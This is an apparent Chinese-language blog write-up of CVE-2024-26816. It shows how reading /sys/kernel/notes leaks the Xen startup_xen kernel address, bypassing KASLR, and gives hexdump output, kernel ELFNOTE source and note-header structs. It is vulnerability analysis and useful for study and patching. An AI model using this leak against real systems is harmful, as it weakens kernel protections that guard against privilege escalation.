ELFNote-leak-kernel-base

CVE-2024-26816

读取 /sys/kernel/notes 内容来进行泄露 startup_xen 的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo grep startup_xen /proc/kallsyms
ffffffff9fa94430 T startup_xen

$ ls -al /sys/kernel/notes
-r--r--r-- 1 root root 472 Apr 15 12:15 /sys/kernel/notes

$ hexdump -C /sys/kernel/notes
00000000 04 00 00 00 14 00 00 00 03 00 00 00 47 4e 55 00 |............GNU.|
00000010 14 ef 14 05 a3 aa ad c2 53 c3 cc 95 80 be 45 a7 |........S.....E.|
00000020 96 1f b5 51 06 00 00 00 04 00 00 00 01 01 00 00 |...Q............|
00000030 4c 69 6e 75 78 00 00 00 00 00 00 00 06 00 00 00 |Linux...........|
00000040 01 00 00 00 00 01 00 00 4c 69 6e 75 78 00 00 00 |........Linux...|
00000050 00 00 00 00 04 00 00 00 08 00 00 00 12 00 00 00 |................|
00000060 58 65 6e 00 00 00 40 1d 00 00 00 00 04 00 00 00 |Xen...@.........|
00000070 06 00 00 00 06 00 00 00 58 65 6e 00 6c 69 6e 75 |........Xen.linu|
00000080 78 00 00 00 04 00 00 00 04 00 00 00 07 00 00 00 |x...............|
00000090 58 65 6e 00 32 2e 36 00 04 00 00 00 08 00 00 00 |Xen.2.6.........|
000000a0 05 00 00 00 58 65 6e 00 78 65 6e 2d 33 2e 30 00 |....Xen.xen-3.0.|
000000b0 04 00 00 00 08 00 00 00 03 00 00 00 58 65 6e 00 |............Xen.|
000000c0 00 00 00 80 ff ff ff ff 04 00 00 00 08 00 00 00 |................|
000000d0 0f 00 00 00 58 65 6e 00 00 00 00 00 80 00 00 00 |....Xen.........|
000000e0 04 00 00 00 08 00 00 00 01 00 00 00 58 65 6e 00 |............Xen.|
000000f0 30 44 a9 9f ff ff ff ff 04 00 00 00 15 00 00 00 |0D..............|
00000100 0a 00 00 00 58 65 6e 00 21 77 72 69 74 61 62 6c |....Xen.!writabl|
00000110 65 5f 70 61 67 65 5f 74 61 62 6c 65 73 00 00 00 |e_page_tables...|
00000120 04 00 00 00 04 00 00 00 09 00 00 00 58 65 6e 00 |............Xen.|
00000130 79 65 73 00 04 00 00 00 10 00 00 00 0d 00 00 00 |yes.............|
00000140 58 65 6e 00 01 00 00 00 00 00 00 00 01 00 00 00 |Xen.............|
00000150 00 00 00 00 04 00 00 00 04 00 00 00 10 00 00 00 |................|
00000160 58 65 6e 00 01 00 00 00 04 00 00 00 08 00 00 00 |Xen.............|
00000170 04 00 00 00 58 65 6e 00 00 00 00 00 00 00 00 00 |....Xen.........|
00000180 04 00 00 00 08 00 00 00 02 00 00 00 58 65 6e 00 |............Xen.|
00000190 00 00 54 9e ff ff ff ff 04 00 00 00 04 00 00 00 |..T.............|
000001a0 11 00 00 00 58 65 6e 00 01 88 00 00 04 00 00 00 |....Xen.........|
000001b0 08 00 00 00 08 00 00 00 58 65 6e 00 67 65 6e 65 |........Xen.gene|
000001c0 72 69 63 00 04 00 00 00 04 00 00 00 0e 00 00 00 |ric.............|
000001d0 58 65 6e 00 01 00 00 00 |Xen.....|
000001d8

arch/x86/xen/xen-head.S 定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define XEN_ELFNOTE_ENTRY          1

ELFNOTE(Xen, XEN_ELFNOTE_GUEST_OS, .asciz "linux")
ELFNOTE(Xen, XEN_ELFNOTE_GUEST_VERSION, .asciz "2.6")
ELFNOTE(Xen, XEN_ELFNOTE_XEN_VERSION, .asciz "xen-3.0")
#ifdef CONFIG_XEN_PV
ELFNOTE(Xen, XEN_ELFNOTE_VIRT_BASE, _ASM_PTR __START_KERNEL_map)
/* Map the p2m table to a 512GB-aligned user address. */
ELFNOTE(Xen, XEN_ELFNOTE_INIT_P2M, .quad (PUD_SIZE * PTRS_PER_PUD))
ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen)
ELFNOTE(Xen, XEN_ELFNOTE_FEATURES, .ascii "!writable_page_tables")
ELFNOTE(Xen, XEN_ELFNOTE_PAE_MODE, .asciz "yes")
ELFNOTE(Xen, XEN_ELFNOTE_L1_MFN_VALID,
.quad _PAGE_PRESENT; .quad _PAGE_PRESENT)
ELFNOTE(Xen, XEN_ELFNOTE_MOD_START_PFN, .long 1)
ELFNOTE(Xen, XEN_ELFNOTE_PADDR_OFFSET, _ASM_PTR 0)

ELFNOTE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifdef __ASSEMBLER__
/*
* Generate a structure with the same shape as Elf{32,64}_Nhdr (which
* turn out to be the same size and shape), followed by the name and
* desc data with appropriate padding. The 'desctype' argument is the
* assembler pseudo op defining the type of the data e.g. .asciz while
* 'descdata' is the data itself e.g. "hello, world".
*
* e.g. ELFNOTE(XYZCo, 42, .asciz, "forty-two")
* ELFNOTE(XYZCo, 12, .long, 0xdeadbeef)
*/
#define ELFNOTE_START(name, type, flags) \
.pushsection .note.name, flags,@note ; \
.balign 4 ; \
.long 2f - 1f /* namesz */ ; \
.long 4484f - 3f /* descsz */ ; \
.long type ; \
1:.asciz #name ; \
2:.balign 4 ; \
3:

#define ELFNOTE_END \
4484:.balign 4 ; \
.popsection ;

#define ELFNOTE(name, type, desc) \
ELFNOTE_START(name, type, "a") \
desc ; \
ELFNOTE_END

存在 CONFIG_XEN_PV=y 这一选项,会写入 startup_xen 的内容。\

  • type: 1
  • name: Xen

Notes (Nhdr)

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
Elf32_Word n_namesz;
Elf32_Word n_descsz;
Elf32_Word n_type;
} Elf32_Nhdr;

typedef struct {
Elf64_Word n_namesz;
Elf64_Word n_descsz;
Elf64_Word n_type;
} Elf64_Nhdr;

其结构

1
2
3
Nhdr
name
desc

已经被patch,等待进入主线

这个问题被引入时,KASLR还没有出现🤣

参考